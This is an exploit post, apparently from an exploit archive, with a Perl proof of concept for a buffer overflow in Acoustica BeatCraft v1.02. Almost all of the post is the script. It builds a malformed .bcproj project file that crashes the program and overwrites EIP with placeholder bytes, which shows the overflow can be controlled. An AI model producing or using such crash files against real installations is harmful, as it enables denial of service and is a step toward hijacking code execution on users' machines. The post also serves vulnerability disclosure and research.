Acoustica BeatCraft v1.02 Build 19 Local DoS Crash PoC

======================================================
Acoustica BeatCraft v1.02 Build 19 Local DoS Crash PoC
======================================================

#Download: http://www.acoustica.com/beatcraft/download.htm
#Tested on Windows XP Pro SP2 (050301-1519)
#Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
#Greetz: inj3ct0r and offsec teams
#!/usr/bin/perl

my $header = "\x52\x49\x46\x46\x30\x79\x02\x00\x62\x65\x61\x74".
  			 "\x62\x70\x72\x6f\x30\x02\x00\x00\xcd\xcc\x8c\x3f".
  			 "\x43\x3a\x5c\x41\x2e\x62\x63\x70\x72\x6f\x6a";

my $junk ="\x50"x499;
my $eip ="\x41"x4;
my $junk2="\x59"x42;

open (myfile, '>crashpoc.bcproj');
binmode(myfile);
print myfile $header.$junk.$eip.$junk2;
close (myfile);
print "\t\t\tCrash file has been created - crashpoc.bcproj\n";



#  0day.today [2018-01-06]  #